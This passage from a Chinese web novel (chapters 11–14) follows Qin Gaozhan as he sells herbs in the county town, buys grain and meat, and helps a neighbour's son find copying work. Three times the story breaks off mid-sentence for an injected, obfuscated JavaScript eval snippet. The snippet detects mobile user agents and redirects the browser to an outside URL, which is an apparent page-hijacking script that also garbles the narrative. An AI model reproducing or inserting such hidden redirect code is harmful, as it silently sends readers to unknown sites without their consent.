又回头对秦高瞻说,“反正我们家种的蔬菜不好,卖的钱也不多,可以今年拿两三亩试试种这个大脸盘子。不过这些不够当种吧?” “山上还有许多,咱们找个机会带回来,”秦高瞻迟疑了会,“真让我试试?我只是在一本杂书上看到过,觉得能行,可未必能行。” “不是说‘书中自有黄金屋’?”秦高琼忽然睁开眼,俏皮道,“没准这就是书给大哥你的黄金屋呢?就像那些草药一样。” “没错,黄金屋。”年纪最小的秦高瑜努力加入谈话中。可以听不懂,但一定要发表意见。 秦高瞻有些感动。 他压下眼角的热意,“等犁完田,收完地里的蔬菜,咱们再好好商量。” 次日早上,秦高瞻炒了一大盘菠菜鸡蛋,煮了比较干的粥,又抓紧时间再次蒸制黄精。 吃完饭后几人迅速将黄精摆出去晾晒,留小妹看家,急急忙忙去地里。 快中午时,秦高瞰牵着牛回家,牛儿休息,他和小妹做饭。 又过了快一个时辰,秦高瞻兄妹才带着农具回来吃饭。 和昨晚一样,秦高瞰也煮了一大锅汤,蒸了足量的饭。 给黄精翻面后,三个哥哥姐姐再次急匆匆出门。 到了傍晚,秦高瞻先牵着牛回来。 如此劳作了两日半,在陶罐里的鸡汤彻底喝完时,他们也将水田犁完了。 傍晚时,秦高瞻一人去还牛取赔偿。 他回来得很快,才放下小母鸡,就被弟弟妹妹们围起来。 “这是怎么了?” “奶没去找你麻烦吧?”秦高瞰着急道,“阿瑜说,昨晚你回来做饭时,奶来过,你不让她出来看。” “爷没去找你麻烦吧?”秦高琼也着急道,“我上午在地里碰到他时,他又骂又瞪。” “他骂你了?”兄弟俩齐刷刷看向妹妹,“怎么不说?” 秦高琼刮刮脸。 “今天我没碰到他们,”秦高瞻先解释,“昨晚奶的确来过,不想给赔偿又不想丢脸,想拿孝道压我。我站在院子里大喊‘使不得使不得,奶你别给这么多,留着自己吃吧’,附近几户有人出来看热闹,她立马跑了。我对那些人举起了空空的双手。” 他朝弟弟妹妹眨眼,“对付爱惜颜面的人,这招百试百灵,说不定还能讹点东西。” “不是讹,”秦高瑜捏着拳头,奶声奶气,“是赔偿。” 哥哥姐姐对视一眼,哈哈笑起来,“对,是赔偿。” 笑够了,又盯着秦高琼看。 11. 去县城 秦高琼老老实实说了上午的经历。 因为这日黄精蒸制的时间长一些,她一个人先牵着牛去田里,路上遇到扛着锄头的秦大壮。 “翻来覆去就骂那几句呗,和他宝贝儿子一样,”秦高琼一脸无所谓,“我都不想喊他爷。” 秦高瞻想了想,“以后如果有外人,可以喊声装一装,要是没外人,不想喊就不喊。他们瞪你们,就瞪回去。他们要是骂,你们也可以骂回去。” 这话他说得真心实意。 他厌恶秦登科夫妇连同儿子吸秦登山夫妇的血,也厌恶秦大壮夫妇这对罪魁祸首。他们对秦登山一家已经不是偏心,而是丧良心的程度了。 尽管他来后和秦登科交集比较多,可他有原身的记忆,对两件事印象深刻。 一是秦登山夫妇去世时,只有赵氏带着孙女来参加葬礼。其余人不来,不是因为农忙,而是觉得秦登山夫妇感染疫病十分晦气。可当时,县城里有不少人因为疫病去世。 吸血鬼们早就抛弃了人籍,不指望他们有点良心。可连亲生父母都这么想,未免太冷血无情。 秦大壮干脆不来,赵氏来了避开宾客对他们一群小孩说晦气,甚至还想带走宾客给的奠仪。 二是原身病重秦登科趁火打劫。别人不清楚秦登科的本性,他的父母还不清楚?秦大壮夫妇没阻止秦登科,就是默许,默许他们的宝贝儿子逼迫他们孙子孙女去死。 这种血缘关系,不如不要。 听了大哥的话,秦高琼立马欢喜应下。 “我早想骂了!” 秦高瞰提醒:“是没其他人时,别留把柄。” 说话时他皱着眉头,不太理解这种长辈可以逼迫晚辈,而晚辈反击就是不孝的观念。 “好了,别为不相干的人烦心,今天好好休息,咱们明日又要开始忙了。” 地已经犁了,趁着太阳好晒晒土。 秦高瞻也趁着弟弟妹妹空闲了,除了看家的小妹,都带到山里。 他们将家里两个背篓,一副担子都带来。 担子装柴火,背篓装些草药、向日葵,再放点野菜。 人多力量大,如此三天,就囤了不少柴,将发现的那片向日葵全都摘回来,还挖了不少药。第三日又趁着天还没黑时,在山里挖了不少腐烂的叶子回来,从第二天起就开始暴晒。 “哥,你不是说山里大部分腐烂叶子已经发酵好了,不用沤肥,怎么还要暴晒?” 自犁完田后,他们家就没闲着,白天去山里,傍晚则是在山坡那挖洞,花了两天挖成功,开始沤肥。除了人畜粪便,还放了家里囤积的秸秆落叶还有菜叶蛋壳。说是要等几个月,彻底腐熟才能用。 苦荞麦是赶不上这批肥料了,可以给大豆或者旱地别的作物用。这期间还能制第二批,给冬小麦用。总之,要一批批制作,肥料永远不够用。 “山里的这些虽然腐熟好了,但是虫卵之类的多,必须彻底暴晒,否则之后咱们家的荞麦隔三差五出问题,那还不如不用。” 秦高琼点头,“那我知道了,待会热起来时,我时不时翻动。” “嗯,辛苦你了。” 将黄精和那些腐烂叶子交给三妹,又将两只小母鸡交给小妹,秦高瞻就带着弟弟,一人背着一个背篓,去村口搭牛车。 这几日囤足了草药,一个人根本背不完。而且他们还要买粮食和苦荞麦粮种,一个人也顾不过来。 到村口时,已经有牛车在那儿等着了。 牛车主人姓何,和隔壁村的富户何家算是远亲,家里地多,也有余钱买牛,平时何叔早晚都赶着牛车赚钱,一文钱一人,如果是亲戚,大概率不要钱。 “何叔,早啊。” “瞻哥儿,瞰哥儿,早啊。” 何叔好奇的打量两人的背篓,“你们这是背了什么去县城里?前几日瞰哥儿就背着东西去过吧?” 这话一出,其他等在一旁的村民都好奇的看过来,背篓里的东西用麻袋装着,袋口系得严严实实,看不出是什么,也闻不到什么味道。 秦高瞰顿时有点紧张。 秦高瞻正要搪塞过去,就听到一道风风火火的声音。 “何大哥,你车什么时候走啊,我急着去交货呢。” 话音落下时,背着大包小包的周春燕快步到了跟前。 秦高瞻带着弟弟喊了声‘周婶’,立马靠边站,将舞台交给她。 何叔笑眯眯道:“再等几个人就出发。大妹子啊,你这生意是越做越好啊。” “哪有的事,城里人就那么多,也就尝个鲜。” 有村民笑:“可你总去那些大铺子偷师,别人推出个新鲜样子,你这边就有新鲜样子。” “切,什么偷师,会不会说话,”周春燕半真半假的抱怨,“我们是互相学习互相进步,不少铺子还仿我的样子呢。” 村民们就着这事聊起来。 言谈间,秦高瞻倒是听明白周春燕的生意了。 平时她会去县城里那些高档些的胭脂水粉店转悠,回来后收集些碎布头,制作一些绢花发带,模样和大店铺的大概有五分像,余下五分则全是她的创意。 大店铺材料好,卖得也贵,平时只有大户人家才会买,一般家庭咬咬牙,也许一年才买一次。周春燕用的就是简单的布,有时根据上边的花纹制作,有时候自己再绣几笔。她灵感足花样多,卖得也便宜,县城普通人家都爱买。 一开始摆摊卖,后来则是在县城里找了几个人卖,她负责提供货源。 这不就是找了几个经销商? 秦高瞻开始佩服周春燕的手艺和经商头脑。这样一来,她不用频繁去县城叫卖,有充足时间生产商品,而供货后,风险则是转移到那些经销商身上。 又等了几个人后,何叔开始驾车去县城。 就算是坐牛车,也要大半个时辰到县城。村民们只能靠聊天打发时间,话题不知觉间转回到秦高瞻兄弟俩身上。 “那天在村长家发生了什么,村长怎么送你们家一只小母鸡?” “你们怎么不去问村长?”周春燕快语,“尽会欺负小孩。” “妹子,这就冤枉我了,我就是好奇问问。” 周春燕翻白眼。 秦高瞻朝问话的大婶露出腼腆的笑容,“这个嘛,村长和大伯让我保密,不如你去问他们?” “多大点事还保密?” 秦高瞻继续腼腆笑:“我爹娘从小教我要诚信,我答应了村长他们,不能食言。” 那婶子顿时无趣,嘟囔了声‘书呆子’,又故作爽朗一笑,“那我去问村长,不为难你一个小孩。” 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763574|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高瞻笑笑不说话,他打赌这人不会去问村长。距离事发当日过去好几天了,有那么多机会能问,真敢问何必等现在? 他已经收了封口费,当然不会泄露细节。同时,做错事的不是他,他没必要绞尽脑汁找说辞,全推给村长和秦登科就行。要真有人敢去问,也是那两人找理由。 一旁的秦高瞰若有所思。他懂了,这叫转移麻烦。学会了学会了。 到了县城门口,何叔就让他们下来。他不打算进城,没必要花一文钱。 进了县城,大家就各自分开。 有秦高瞰带路,两人很快来到仁心堂。 两人背了足足两背篓的药,学徒也认得秦高瞰,记得他们家的草药清理干净不说,还分类包好,不像有的人胡乱采摘,将杂草和草药混在一起,让学徒们自己清理。 两种情况自然是两个价。 “你们挖了不少,来这边清点吧。” 学徒将人带到另一处,又请更资深的学徒过来清点辨认以及称重。 很快称重结果出来了。 桔梗四斤,苦参三斤,沙参四斤,当归十斤,南苍术四斤,柴胡六斤,丹参四斤。 其中苦参和桔梗一个价,南苍术、当归都和沙参一个价。一共是三百三十二文。 这些药是四天半的成果,其中一天他大部分时间用来挖黄精,还有三天虽说有弟弟妹妹帮忙,却也花费不少功夫在向日葵和捡柴上。 家里正在九制的黄精不出意料能得四斤,按照炮制价卖能得两百六十四文。 算上第一日赚的一百零九文,挖药日均收入约一百二十八文。他们这一带当归、黄精、柴胡和丹参多,其中丹参鲜货价格最高,黄精九制后赚钱。 分配给梨花村的山很大,他只去了很小一片,如此一来,整个春天都能有挖药的收入,可以度过家里的危机。 之后到了夏天,有夏季的药能挖,他有了这段时间做缓冲,也能想想别的法子赚钱。 整体来说,日子有盼头。养活自己和弟弟妹妹后,就可以考虑读书的事了。 学徒给他们数了三百三十二文。得知秦高瞻要买驱蛇粉,直接送了两包,嘱咐,“要是有空多挖些,别的地多雨,药材一时不好运过来。” 送过来淋了雨的药材也会减弱药效。 秦高瞻应了,之后很长一段时间他都会挖药,和这些人打好关系,没准能多获得一些情报。 他只收了药粉,转手将钱给了弟弟。 秦高瞰接过来,数了几遍,才小心翼翼放入荷包。 “好了,可以去买粮了。” 秦高瞻语气轻松,秦高瞰也跟着笑起来。 “像是在做梦一样。” 明明前不久家里还在卖田,卖田的银子花得只剩下三文,转眼间就有这么多收入,而且这种收入还是持续的。就算老天不作美粮食歉收,也能靠挖药买粮度过危机。 “嘶。” 脸颊传来痛楚时,男孩睁大眼,无辜的看向哥哥。 “还觉得是在做梦么?” “不是做梦。” 秦高瞰不好意思的揉揉脸。 离开医馆时,秦高瞰不经意扫了眼正拽着一个学徒询问的人,连忙拉着大哥走开。 秦高瞻很配合,到了拐角处才问,“你看到谁啦?” 12. 消费 “秦登科的一个酒友,就住在隔壁何家村。” 秦高瞰不掩饰自己对这个人的不喜,“他脸色那么红润,不像是拉肚子的样子,怎么会来买治疗腹泻的药?” “可能是家人生病了。” 秦高瞻回头看了眼,并未找到弟弟说的那人。 “他对家人小气得很,上到爹娘下到孩子生病,都只会骂媳妇,不会给钱买药。” “这样啊。” 秦高瞻有个猜测,不过没有证据,便没说出来。 “好了,他的事与我们无关,还是快些去买粮。” 两人去了粮店,买了两斗的陈粮,花了八十文,又买了一斗苦荞麦,花了五十文。 “一亩田大概需要撒种一升荞麦,又可能遇到意外需要补种,买一斗比较合适,”秦高瞻解释,“就算没用完,剩下的我们吃了就行。” “嗯!” 尽管心疼花出去的钱,可背篓重新沉甸甸后,秦高瞰心里只余下开心了。 他们家又多了不少粮食! “哥,我们回去吧。” “不急,难得来县里一趟,我们逛逛。” 这一逛,秦高瞰便眼睁睁看着哥哥买了十五文钱的红糖,又买了十五文的糕点。 “红糖水对身体好,以前爹娘不常给我们化红糖水喝吗?” 发现弟弟眼睛都直了,秦高瞻好笑的解释,“至于糕点,你忘啦,马上就是你和阿琼的生日,我特地选了长寿糕,还是说你不喜欢,那我现在去买白面,咱们自己擀面做长寿面。” 他不会做手工面,印象中弟弟妹妹也没做过,才没买白面。 “不了不了,这些就够了。”秦高瞰想到白面的价格就头皮发麻。再看那各式各样的糕点,心头又暖乎乎。 被家人惦记关怀的感觉真好。 等秦高瞻买了十文的纸钱时,他一言不发。是啊,清明将近,要去祭拜爹娘了。 路过书坊时,秦高瞻被叫住。 回头看到熟悉的面孔时,秦高瞻忙道,“唐叔。” 唐老板朝他招招手,待人走近了才问,“听说你生了场病,现在可好了?” “已经痊愈了,谢谢唐叔关心。” 秦高瞻安静等着,果然,下一息唐老板便问他何时可以接活回家抄书。 “之前生病耽误了农耕,这几个月怕是要一直忙着地里的事,”在唐老板皱眉时,秦高瞻话锋一转,“不过我认识一些书生,到时把他们的字帖拿来给您看看,若您有看中的,将活计转给那人可行?” 见唐老板迟疑,他补充,“当然,酬劳和我相当。” “那行,看在你的面子上,拿几份字帖来看看。我信得过你,你先挑挑。” 秦高瞻笑着应了。 待转去别的街道,秦高瞰有些兴奋道,“哥,你真厉害,连书坊的老板都给你面子。” “阿瞰,你还真信老板的话?真正让他心动的是价格。” 有了挖药的收入后,抄书的三瓜两枣就不划算了。而且白日干活,他晚上只想睡觉,点油灯抄书又费油费眼。 可直接拒绝唐老板也不合适,毕竟当初是唐老板在无人担保的情况,同意让他带着书籍和纸张回家试试。 “能在县私塾读书的学子大多家境优渥,”秦高瞻细细和弟弟解释,“就算有那么几个想抄书赚些花费,要价也高。” 后者是他自己猜测的,之前唐老板也是因为价格才松口。 “抄书只需要字迹工整并不难看就行,县私塾的学子能胜任,村学的学子也能胜任,后者更划算。” 秦高瞰‘嗷’了声,总结道,“原来商人喜欢说漂亮话。话说得好听,又不吃亏。” “是这个理。” “哥,你打算介绍谁去?村里那些读书的人你好像都没接触了,而且个别几个你千万别心软介绍他们去。” 想到往事,秦高瞰就咬牙切齿。 秦高瞻知道他想起了哪件事。 原身六岁在村学开蒙,读了三年书后秦家分家,被送到县里读书,两年后因为爹娘去世接手家里的田地,偶尔接些抄书的活计。 一次原身给书坊送书时,遇到了村塾里唯一的教学先生李夫子。李夫子怜惜原身的际遇,欣赏他的才华,看他选择抄书,认为他对读书科考还有眷念,便提议私下单独布置些课业,每隔几日将课业送去批阅。 这话的意思是不收束脩了。 村塾比县里的私塾便宜,按年收费,一年也快一两,也可以折算成粮食。 他们家拿不出来,秦高瞻更不可能不管田地和弟妹坐在学堂里读书。 李夫子的提议切合实际,原身激动应下的同时,其实也有给夫子送些粮食和蔬菜,对方批阅指点得也很用心。 只是一段时间后,这件事被学堂的一个学子发现了。因为很久之前被拿来和秦高瞻比较过还落了下风,那学子便宣扬开,不少学子和家长都有意见了。有的人还趁机博取同情,也希望夫子不收束脩。 别看李夫子一年一个孩子能收近一两的学费,可一来村里不是家家户户都让孩子读书,二来他的妻子体弱,不能种田只能做些绣品赚些钱,可偏偏他们家的儿子多病,甚至不良于行,每年的医药钱很高。李家一年也攒不了多少钱。 原身不想夫子为难,果断站出来表示是自己厚脸皮缠着夫子,如今知道这样不对,日后再也不去寻夫子了,这件事才结束。 即便后来在村里遇见,李夫子提议送课业时更隐秘些,原身也没同意,表示自己已经断了读书的念想。 “我心里有数,”见弟弟气呼呼,秦高瞻拍了拍他的头,“我没那么大方,记得别人的好,也会记得别人做过的那些事。不过我比较喜欢有仇当场就报。” 那学子对此有意见,其他人也不允许夫子免费教秦高瞻,可以理解。唯一不妥的是,不该趁机让夫子减免费用。大家没考虑过一点,如果夫子在梨花村教学养不活家人,会选择离开,到时上哪儿再找一个秀才过来? 梨花村不是大村,也比不上隔壁何家村富裕,何家村的村学甚至有两个秀才坐镇,都比得上县里一些小私塾了。 因此原身对那学子和曾指责他的家长没太大意见。 秦高瞰则是想到两次吃败仗的秦登科,心情转好,“没错,哥你有仇都是当场就报,这样很好,以后继续保持。” “心情好啦?那咱们去肉铺看看。” “啊?” 秦高瞰苦着脸跟着大哥走。 出门时他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763575|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把家里余下的五十文也带上了,虽说收入增加,可紧接着花了一百七十文,再把来回的车费和入城费算上,只余下两百零六文了。 他也说不出别买肉这种话。 就算才吃了鸡,每日也吃鸡蛋,他们一家还是瘦巴巴缺油水的样子。 最重要的是,就算他反对,大哥也能想到理由说服他。 那还是免去这个过程吧。 弟弟一言不发,秦高瞻便自由发挥了。 到了猪肉铺子,他将每个部位都问了价。五花肉最贵,要十八文一斤,梅花肉、腿肉等次之,肋排还要便宜一点,下水都是一个价,八文一斤,剃得干干净净的猪大骨最便宜,两文一斤。 秦高瞻买了半斤五花肉,两斤猪肝和一些大骨,花了三十文。 “好了,回去吧。” 秦高瞰忙说:“放我这边吧。” 秦高瞻没拒绝,他背篓里放了更多的粮,的确有些重。 两人顺势整理了下背篓,拿特地带来的麻布将背篓盖好,这才朝城门走去。 走出一段距离时,又被人叫住。 “瞻哥儿,有个事麻烦你。” 周春燕追过来,站稳平复呼吸,“我今天要见的人有点多,谈完了估计城门关了回不去,麻烦你和我家昌茂说声。” “这个没问题,只是周婶,你晚上住哪?” “我一个朋友家。” 周春燕指了指不远处一个准备摆摊卖货的中年女人。 秦高瞻又问了那人的名字和住处,这才点点头。 周春燕笑了,从提着的包袱里掏出两朵绢花。 “带回去给你妹妹们吧。” 这时,秦高瞻已经看到那个中年女人拿出一个木牌,上边写清了不同绢花发带还有毽子的价格,字迹铁画银钩。 有的人冲着这字都会停下来看一眼。 按照标价,绢花根据款式和花色分别是三到八文不等,发带则是一文到四文不等。 周春燕送的这两朵应该是四文一朵。 仔细看,做工相对粗糙,款式也不复杂,比不上那些大店铺精心制作的,不过两者制作的原料、流程以及花费的时间肯定完全不同,顾客群体也不同。 “婶子你太客气了,传个话而已。” 秦高瞻不肯收,“您之前不也帮了我们?” 不管是他去村长家前的提醒,还是在牛车上帮忙说话,没准等牛车时,周春燕问何叔出发时间,都是在帮他们解围。 秦高瞰不住的点头,“婶子你别客气。” “那这样,你们拿鸡毛去我家换绢花发带如何?” 周春燕眨眼,“你们家应该有新鲜的鸡毛。” 说着,将绢花塞到秦高瞻手里,快步走了。 秦高瞻无奈。就算送鸡毛过去,还是他们占便宜了。 以及,村里是一点秘密都没有啊,他们家宰个鸡,都能从村这头传到那头。 “哥,现在怎么办?” 秦高瞻将绢花收起来,“先回去吧,鸡毛不够,我们还可以送些菜。” “那行。” 没在城门口找到何叔,秦高瞻两人是坐隔壁村一人的牛车,又在道路岔口下车,背着沉甸甸的背篓,慢吞吞回家。 13. 萝卜大骨汤 关上堂屋的门,在家等了许久的姐妹俩欢呼。 “好多粮食!” “还有肉肉!” “咦,哥,你们还买了红糖和糕点?” 认出是长寿糕,秦高琼眨眨眼,飞快背过身去,转回来时又装作若无其事。 秦高瞻将糕点拿出来,除了长寿糕外,其余的都任吃。 “这几块等生辰那日再吃。” 秦高瑜跑去端水,等大家都净手后,才小心翼翼拿起一块糕点,用手托着送到嘴边,轻轻咬了一口,咀嚼几下,开始跺脚。 “好好吃哦。” 秦高瞻被逗笑了,“小心别噎着。” 他自己飞速吃了一块,肚子里有点东西后开始收拾,粮食放仓库,红糖和肉送到厨房里,又对跟过来的秦高瞰说,“鸡血只剩下一点了,今天都和菘菜一起炒了,五花肉也可以切些,随便炒什么青菜都好吃。” “那可不,”秦高瞰回忆许久之前吃到的五花肉的滋味,“那可是肉啊,还油汪汪的。” 秦高瞻也忍不住咽口水,他现在的身体也很缺油水。 “然后从明日起,如果煮粥,可以切些猪肝进去一起煮。猪肝补血明目,对身体好。” “难怪哥你买了两斤。” “最后是猪大骨,就和白萝卜一起炖吧,肯定好喝。” “那明天早上开始炖?”秦高瞰算了算日子,“明天我们就要去田挖沟渠,苦荞和水稻的种植方式不同,要防止水涝。” “行,这个你安排。” “说到挖沟渠,”秦高瞻回忆上辈子刷视频看到的内容,“咱们家的坡地可以用区田的方式种植,开沟挖口种植,更好蓄水。” “那咱们试试,刚好看看选哪些地种大脸盘子,以及这批菜吃完后,种哪些,下次卖药的时候,买菜种回来。” 将家里的事交给弟弟,秦高瞻去找两个妹妹,将绢花给她们,又问鸡毛在哪。 “哇,好漂亮!” 秦高瑜开心的举着绢花。 秦高琼干脆帮她戴上,又把另一朵也给她戴上了。 “姐姐不要吗?” 秦高琼皱皱鼻子,“挺好看的,不过我不感兴趣。” 秦高瞻仔细观察她的神色,发现她说的是真心话,选择尊重妹妹的喜好。 “那你对什么感兴趣,我下次带回来。” “我想踢毽子,”秦高琼不太开心的撇嘴,“可我做的很快就踢散了。” 她把余下洗干净也晾干的鸡毛拿出来了,“哥,你送过去吧。” 秦高瞻没做过毽子,只记得大概的结构,似乎不太难。不过他对自己的手工水平不抱希望,打算去周春燕家买一个。买来后仔细研究,再试试。 带着鸡毛,一些蔬菜,还有昨天挖到的春笋,秦高瞻穿越村子,找到周春燕家。 他到时,一个有些瘦弱的年轻男子正在喂鸡。这是周春燕的儿子田昌茂,十六岁,原身当年在村学开蒙时,还和田昌茂当过同窗,印象里这人体弱多病,时常请假。 因这几年不关注村学,原身并不清楚这人是否下过场,考得如何。 “昌茂兄。” 秦高瞻喊了声。 喂鸡的田昌茂转过身来看他,有些疑惑,“瞻哥儿,你这是?” “今天我去县里,遇到婶子了,她托我带句话。” 简单说完周春燕的事,特地说明了借宿人家的姓名和地址,秦高瞻又说起两朵绢花的事。 “我们家鸡毛不够换,我又带了点菜,别嫌弃。” “这不好吧…”田昌茂推辞,他了解自家娘亲的性格,顶多只提了鸡毛,“瞻哥儿你别这么客气。” 秦高瞻没好意思占这个便宜。 绢花的材料成本低,可他不能无视周春燕的人工成本。两朵绢花卖八文,合起来的成本至少有四文。四文可以买一升陈粮呢。 他多解释了几句,又干脆把东西都放在地上。 若他抬脚就跑,不信田昌茂还能追上他。 田昌茂无奈,又听他要买个毽子,忙说,“我送你一个,这次别客气。” 说着进屋,拿了一个红艳艳的毽子过来。 他们家的毽子都是染了色的,这就是明明县城里也有人会做毽子,还是有许多人来买各种颜色毽子的原因。 天然颜料是大自然的馈赠,选择颜色淡些的鸡毛浸染,耗费不了多少,因此价格也不高,有一文一个的,也有三文两个的,走的是薄利多销的路线。 这次秦高瞻没拒绝,在他准备辞别时,田昌茂吞吞吐吐道,“瞻哥儿,我想向你打听件事,你要不要进屋喝碗水?” “行啊。” 开了口后,田昌茂便坦率了些,直言打听如何在县城里打短工。 “昌茂兄,怒我直言,县里许多短工并不适合你,那些多是苦力活。” “我也有所猜测,”田昌茂苦笑,“我倒是想当个账房先生,只是没有门路。” 秦高瞻打量屋内陈设,十分简洁。 “昌茂兄,你应该会参加科考吧?” “这是自然,我还年轻,还能再试试,只是,”田昌茂也不隐瞒,“我已经下场三次,虽说今年差点过了县试,可没过就是没过。倒也不是县试要考的那些书没读透,而是答题时总差些火候,就算继续待在学堂里,也没有多少进步。” 他细细算了笔账,每年的束脩,笔墨纸砚,参加县试的开销,“加上我有不足之症,时不时看病吃药,即便娘亲每日忙碌,我们家也攒不了多少钱。可我已经十六,在许多人家都算是青壮,是重要劳力,我却只能在家里打扫或是喂些鸡鸭,连地里的活都干不了…” 秦高瞻听懂了。 田昌茂并不打算放弃参加科考,只是觉得读书会是一个长期的事,也已经掌握考秀才需要掌握的知识,接下来重点是攻克答题上的缺陷,以及等候考中的那丝运气。又觉得娘亲太苦太累,不愿意就这么看着。 时下许多读书人两耳不闻窗外事,还有许多人如秦高中那般,不干农活,除了读书就是和同窗们开诗会探讨学问,丝毫看不见供养他们亲人的辛苦。家中富足还好说,可不少人分明家贫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778918|174491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他仔细想了想,询问,“这话你和周婶说过吗?” “还没有,”田昌茂笑了笑,“我打算先找到活计再和她说。” 先斩后奏是吧。 秦高瞻:“那你和夫子说过吗?” “嗯,夫子也觉得我一心扑到书上无多少进益,不过他不建议我打短工,认为会过于分神。若是可以找到和读书有关的活计,一天里能过半静心读书才算好。” “所以你最终目标是当个普通铺子或富贵人家的账房先生,同时准备科考?” 田昌茂颔首,又不好意思,“我觉得我算数能力不错,书法也稍稍能拿出手。” 秦高瞻顺势表示想看看他的作品。 待看到田昌茂的字帖后,他了然,果然之前县城里,木牌上那铁画银钩的标语出自田昌茂之手。 “昌茂兄,我这儿有个活计,看你是否感兴趣。” 他简单说了书坊抄书的工作,又说了一个月可能接到的抄书次数以及酬劳。 “并不会耽误你读书,只是这酬劳……” “已经很好了,比我预计中好很多,”田昌茂有些兴奋,“而且如果是抄书,我能说服娘亲。” “那这份字帖借我,我拿给老板看,不过,我过几日才进城,你需要等等。” “这个自然。” 分别时,秦高瞻并不委婉的建议,“既是抄书,可以提前和周婶商量。” “嗯,等她回来我便说。” 拿到新毽子的秦高琼很开心,待发现当天能吃到五花肉炒莴苣,鸡血炒菘菜,足足两道荤菜后,就更开心了。 趁着太阳还未下山,三个哥哥姐姐又去地里劳作一番。 第二日起,秦高瞰负责带妹妹去田里挖沟渠,秦高瞻则是去旱地,将摘完应季蔬菜的菜地翻了。也不多翻,等太阳升得比较高了,就吃些干粮喝些水,背着背篓进山。 等他下山,早就过了午饭的时间。不过大骨汤已经炖好,他美美喝了一大碗,又吃了些弟弟妹妹留的饭菜,歇了会后,继续去翻地。 如此过了几日,秦高瞰和秦高琼的生辰到了。 他们一起吃了长寿糕,这种糕点软糯不甜腻,个头还大,因此一人吃了一块后就停了。毕竟他们的晚饭也很丰富,家里余下的荤腥都上桌,还蒸了一大碗鸡蛋羹,粗粮也蒸了许多。 吃到八分饱时,秦高瞻就停筷了,小妹早就吃饱了,嘴巴吃得油汪汪的,之后是秦高瞰。 明明没喝酒,秦高瞰今天却跟喝醉了一样,话特别多,还有些语无伦次。上次语无伦次还是秦高瞻刚刚醒来。 几人干脆在厨房里处理药材,顺便等妹妹吃完。 因为煮多了,他们都寻思着剩下的饭菜留到明早吃。 处理了会药材,秦高瞻抬头,发现妹妹还在吃,顿时担心起来。 “阿琼,你吃饱没?” 这比平时吃太多了,他怕妹妹一时没控制吃撑了,这对身体也不好。 同样太开心,但表现方式是不再克制,秦高琼下意识道,“没,大半饱呢。” “?” 14. 猪肉包子 秦高瞻表情严肃。 秦高琼瞅了瞅他的表情,放下筷子,弱弱道,“我、我吃饱了,不吃了。” “没吃饱可以继续吃,只是,阿琼,”秦高瞻意识到问题的严重性,“这些年,你是不是从没吃饱过?” 坐在对面的女孩瞪大眼,过了几息才记起要遮掩情绪。 “不不不,我经常能吃饱。” 过了会,在大哥的注视下,默默低下头,“好吧,我承认,我只在刚分家那两年吃饱过。” 生怕大哥生气,她试图转移怒火,“你们还记得吧,没分家时,都是由奶给我们添饭,给的不多。后来娘抢着添饭,次数多了后,奶干脆在厨房分饭才端出来。不止我没吃饱,你们,爹娘都没吃饱。” 秦高瞻不否认这一点,他只说,“这几年,我们家只是很少吃荤腥,主食一般够吃。” 包括他来了之后,他们家蒸饭,都是他们三个哥哥姐姐同一个量,小妹一个量。 他又想到原身去县里读书那两年,都是早早起床去县里。如果农忙,是他跟着熟人走。非农忙,爹娘总有一个陪着去,再在县里打短工。 等下学回到村里,已经很晚了,家里人都吃完饭,他便没注意那些。 目光逐渐移到秦高瞰身上,“你还记得阿琼以前吃多少吗?” 那是六到八岁时的记忆,秦高瞰那会也不关注这些。他努力回忆,“那会阿琼好像吃得和娘亲一样多,哎?” 他意识到问题。娘亲可是时常干农活,饭量大得很,可妹妹那会才多大,这个饭量是不是哪里不对? “哪有?” 秦高琼激动了,“明明只有娘亲大半的饭量。” 秦高瞰小声道:“那也很大。” 又过了几息,声音更小了,“别生气,我不是怪你吃多了,是心疼你一直没吃饱,其实你可以和我说。” “然后把你的那份让给我?”秦高琼扭头,重重哼了声,“不吃饱一样干活,很多人都这样,我才不要你让。” 秦高瞻揉了揉眉心。 “是我疏忽了这件事,阿琼,你每日劳作时辰长,如果吃不饱,对身体不好,可能长不高长不壮,也没力气干活。” 他起身,转到妹妹跟前,认真道,“现在家里不缺粮,以后咱们蒸饭煮粥,都按你真实的饭量来,吃饱才能长得好。” “哪有不缺粮,我们家的仓库空着呢。”秦高琼嘟囔,又想抬手遮住眼睛。 秦高瞻干脆拽住她的手,继续说,“那咱们一点点填满,山上有药,地里也会种粮,咱们家不缺这些。” “对啊,”秦高瞰跟着说,“你干的活不比我们少,你要多吃。” “姐姐,”秦高瑜小跑过来,趴在她膝盖上,仰着小脸蛋认真说,“饿肚子很难受,不想姐姐难受。” 